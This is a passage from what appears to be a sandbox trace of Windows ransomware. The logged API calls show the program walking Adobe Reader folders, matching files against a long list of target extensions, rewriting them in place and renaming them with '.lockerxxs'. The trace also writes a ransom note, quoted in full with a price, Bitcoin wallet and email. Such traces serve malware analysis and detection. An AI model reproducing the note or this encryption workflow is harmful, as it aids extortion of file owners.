returned 5 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0069.118] lstrlenA (lpString="*.edb") returned 5 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0069.118] lstrlenA (lpString="*.accdb") returned 7 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0069.118] lstrlenA (lpString="*.odb") returned 5 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.java") returned 0 [0069.118] lstrlenA (lpString="*.java") returned 6 [0069.118] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0069.118] lstrlenA (lpString="*.asm") returned 5 [0069.119] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0069.119] lstrlenA (lpString="*.pfx") returned 5 [0069.119] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0069.119] lstrlenA (lpString="*.pem") returned 5 [0069.119] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0069.119] lstrlenA (lpString="*.p12") returned 5 [0069.119] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0069.119] lstrlenA (lpString="*.gpg") returned 5 [0069.119] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0069.119] lstrlenA (lpString="*.vsd") returned 5 [0069.119] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0069.119] lstrlenA (lpString="*.odg") returned 5 [0069.119] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0069.119] lstrlenA (lpString="*.raw") returned 5 [0069.119] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0069.119] lstrlenA (lpString="*.nef") returned 5 [0069.119] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0069.119] lstrlenA (lpString="*.svg") returned 5 [0069.120] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0069.120] lstrlenA (lpString="*.psd") returned 5 [0069.120] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0069.120] lstrlenA (lpString="*.vmx") returned 5 [0069.120] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0069.120] lstrlenA (lpString="*.vmdk") returned 6 [0069.120] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0069.120] lstrlenA (lpString="*.vdi") returned 5 [0069.120] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0069.120] lstrlenA (lpString="*.lay6") returned 6 [0069.120] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0069.120] lstrlenA (lpString="*.mpeg") returned 6 [0069.120] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0069.120] lstrlenA (lpString="*.djvu") returned 6 [0069.120] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0069.121] lstrlenA (lpString="*.tiff") returned 6 [0069.121] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0069.121] lstrlenA (lpString="*.backup") returned 8 [0069.121] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0069.121] lstrlenA (lpString="*.pdf") returned 5 [0069.121] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" [0069.121] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" [0069.121] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf." [0069.121] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf.lockerxxs" [0069.122] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.122] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x102c8 [0069.122] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805b4280, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.122] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.123] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x102a2, lpOverlapped=0x0) returned 1 [0069.126] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf") returned="DefaultID.pdf" [0069.127] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.127] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x102a2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x102a2, lpOverlapped=0x0) returned 1 [0069.127] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.127] CloseHandle (hObject=0x94) returned 1 [0069.129] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf.lockerxxs")) returned 1 [0069.130] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x102c8, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0069.130] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.130] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="SVE", cAlternateFileName="")) returned 1 [0069.130] lstrcmpA (lpString1=".", lpString2="SVE") returned -1 [0069.130] lstrcmpA (lpString1="..", lpString2="SVE") returned -1 [0069.130] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0069.130] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="SVE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE" [0069.130] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE") returned 63 [0069.130] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.131] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.131] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.131] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.131] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.131] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12696, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0069.131] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.131] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0069.131] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0069.131] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0069.131] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*.*") returned="*.*" [0069.131] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\" [0069.131] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\") returned="" [0069.132] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\HOW TO DECRYPT FILES.txt" [0069.132] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\how to decrypt files.txt")) returned 0xffffffff [0069.132] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.132] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.132] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.135] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.135] CloseHandle (hObject=0x94) returned 1 [0069.135] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" [0069.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0069.135] lstrlenA (lpString="*.ems") returned 5 [0069.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.db") returned 0 [0069.135] lstrlenA (lpString="*.db") returned 4 [0069.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0069.135] lstrlenA (lpString="*.dbf") returned 5 [0069.135] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0069.135] lstrlenA (lpString="*.myox") returned 6 [0069.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0069.136] lstrlenA (lpString="*.myo") returned 5 [0069.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0069.136] lstrlenA (lpString="*.qbw") returned 5 [0069.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0069.136] lstrlenA (lpString="*.qbb") returned 5 [0069.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0069.136] lstrlenA (lpString="*.qbm") returned 5 [0069.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0069.136] lstrlenA (lpString="*.qbo") returned 5 [0069.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0069.136] lstrlenA (lpString="*.qbx") returned 5 [0069.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0069.136] lstrlenA (lpString="*.qba") returned 5 [0069.136] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0069.137] lstrlenA (lpString="*.qby") returned 5 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0069.137] lstrlenA (lpString="*.qbj") returned 5 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0069.137] lstrlenA (lpString="*.ofx") returned 5 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0069.137] lstrlenA (lpString="*.qif") returned 5 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0069.137] lstrlenA (lpString="*.mye") returned 5 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0069.137] lstrlenA (lpString="*.mbox") returned 6 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.137] lstrlenA (lpString="*.eml") returned 5 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0069.137] lstrlenA (lpString="*.pst") returned 5 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0069.137] lstrlenA (lpString="*.ost") returned 5 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0069.137] lstrlenA (lpString="*.idx") returned 5 [0069.137] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0069.138] lstrlenA (lpString="*.dbx") returned 5 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0069.138] lstrlenA (lpString="*.sql") returned 5 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0069.138] lstrlenA (lpString="*.mdb") returned 5 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0069.138] lstrlenA (lpString="*.fdb") returned 5 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0069.138] lstrlenA (lpString="*.wab") returned 5 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0069.138] lstrlenA (lpString="*.dat") returned 5 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0069.138] lstrlenA (lpString="*.txt") returned 5 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0069.138] lstrlenA (lpString="*.jpeg") returned 6 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0069.138] lstrlenA (lpString="*.jpg") returned 5 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.png") returned 0 [0069.138] lstrlenA (lpString="*.png") returned 5 [0069.138] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.php") returned 0 [0069.139] lstrlenA (lpString="*.php") returned 5 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0069.139] lstrlenA (lpString="*.cs") returned 4 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0069.139] lstrlenA (lpString="*.cpp") returned 5 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0069.139] lstrlenA (lpString="*.rar") returned 5 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0069.139] lstrlenA (lpString="*.zip") returned 5 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.html") returned 0 [0069.139] lstrlenA (lpString="*.html") returned 6 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0069.139] lstrlenA (lpString="*.htm") returned 5 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0069.139] lstrlenA (lpString="*.xlsx") returned 6 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0069.139] lstrlenA (lpString="*.xls") returned 5 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0069.139] lstrlenA (lpString="*.mp4") returned 5 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0069.139] lstrlenA (lpString="*.ppt") returned 5 [0069.139] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0069.139] lstrlenA (lpString="*.pptx") returned 6 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0069.140] lstrlenA (lpString="*.doc") returned 5 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0069.140] 